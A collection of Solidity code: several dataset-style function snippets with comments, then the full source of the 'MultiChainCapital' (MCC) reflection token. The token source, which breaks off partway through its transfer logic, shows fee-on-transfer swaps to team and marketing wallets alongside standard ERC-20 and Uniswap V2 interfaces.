./partial_match/1/0xe960609552f7a572F06058Eb49f87aB78b6Fc0D9/sources/LondonToken.sol | Sets IPFS cid metadata hash for token id `tokenId`./ | function setCID(uint256 tokenId, string memory cid)
public
onlyGatewayManager
{
_cids[tokenId] = cid;
}
| 3,933,447 |
./full_match/4/0x4d833513Fcdde9707133c14B08F36C4CbD9d6fC3/sources/contracts/FundMe.sol | the return price is 10^8 1eth = 10^18 Wei, the price 10^8 10^10 make the price equals Wei | function getPrice() public view returns(uint256) {
(,int256 price,,,) = priceFeed.latestRoundData();
return uint256(price * 10 ** 10);
}
| 12,453,487 |
./full_match/1001/0xF2AffaFa966780988f7FBdf06B6A807a1687b2c8/sources/_klaytn/contracts/KIP/token/KIP17/IKIP17Receiver.sol | KIP17 token receiver interface Interface for any contract that wants to support safeTransfers from KIP17 asset contracts./ | interface IKIP17Receiver {
function onKIP17Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
| 16,364,136 |
./full_match/8453/0xE4AD80eD0c7d12A8B687c6C987d07f1D486fEd85/sources/src/token/ERC1155/ERC1155AB.sol | Initialize multiple drops parameters Only the contract owner can perform this operation _initDropParams drop initialisation parameters array (see InitDropParams structure)/ | function initDrop(ABDataTypes.InitDropParams[] calldata _initDropParams) external onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 length = _initDropParams.length;
for (uint256 i = 0; i < length; ++i) {
_initDrop(_initDropParams[i]);
}
}
| 11,535,250 |
./partial_match/56/0xa83b7b56bB58f2d8a8A672dd1A4051cAcf09192d/sources/FarmMaster.sol | Update reward variables of the given pool to be up-to-date. | function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0 || pool.allocPoint == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 piliReward = multiplier.mul(piliPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pili.mint(devaddr, piliReward.div(20));
pili.mint(address(this), piliReward);
pool.accRewardPerShare = pool.accRewardPerShare.add(piliReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
| 11,084,306 |
./full_match/4/0xF67e9236a77B3B6BeBf0686C0DD69A936A0e4CD2/sources/dap.sol | Replacement for Solidity's `transfer`: sends `amount` wei to `recipient`, forwarding all available gas and reverting on errors. of certain opcodes, possibly making contracts go over the 2300 gas limit imposed by `transfer`, making them unable to receive funds via `transfer`. {sendValue} removes this limitation. IMPORTANT: because control is transferred to `recipient`, care must be taken to not create reentrancy vulnerabilities. Consider using {ReentrancyGuard} or the/ | function sendValue(address payable recipient, uint256 amount) internal {
}
| 13,353,189 |
/**
Multi-Chain Capital: $MCC
- You buy on Ethereum, we farm on multiple chains and return the profits to $MCC holders.
Tokenomics:
5% of each buy/sell goes to existing holders.
5% of each buy/sell goes into multi-chain farming to add to the treasury and buy back MCC tokens.
Website:
https://multichaincapital.eth.link
Telegram:
https://t.me/MultiChainCapital
Twitter:
https://twitter.com/MChainCapital
Medium:
https://multichaincapital.medium.com
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// Contract implementation
contract MultiChainCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 4206900000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'MultiChainCapital';
string private _symbol = 'MCC';
uint8 private _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
address payable public _MCCWalletAddress;
address payable public _marketingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
bool inSwap = false;
bool public swapEnabled = true;
uint8 _sellTaxMultiplier = 1;
uint256 private _maxTxAmount = 300000000000000e9;
// We will set a minimum amount of tokens to be swaped => 5M
uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9;
struct AirdropReceiver {
address addy;
uint256 amount;
}
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(
address payable MCCWalletAddress,
address payable marketingWalletAddress
) {
_MCCWalletAddress = MCCWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded)
external
onlyOwner
{
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , , ) = _getValues(tAmount, false);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount, false);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount, false);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner {
require(
account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
'We can not exclude Uniswap router.'
);
require(!_isExcluded[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner {
require(_isExcluded[account], 'Account is already excluded');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
if (sender != owner() && recipient != owner())
require(
amount <= _maxTxAmount,
'Transfer amount exceeds the maxTxAmount.'
);
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular team event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= _maxTxAmount) {
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >=
_numOfTokensToExchangeForTeam;
if (
!inSwap &&
swapEnabled &&
overMinTokenBalance &&
(recipient == uniswapV2Pair || _isUniswapPair[recipient])
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
// indicates if fee should be deducted from transfer
bool takeFee = false;
// take fee only on swaps
if (
(sender == uniswapV2Pair ||
recipient == uniswapV2Pair ||
_isUniswapPair[recipient] ||
_isUniswapPair[sender]) &&
!(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient])
) {
takeFee = true;
}
//transfer amount, it will take tax and team fee
_tokenTransfer(sender, recipient, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
_MCCWalletAddress.call{ value: amount.div(2) }('');
_marketingWalletAddress.call{ value: amount.div(2) }('');
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
sendETHToTeam(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
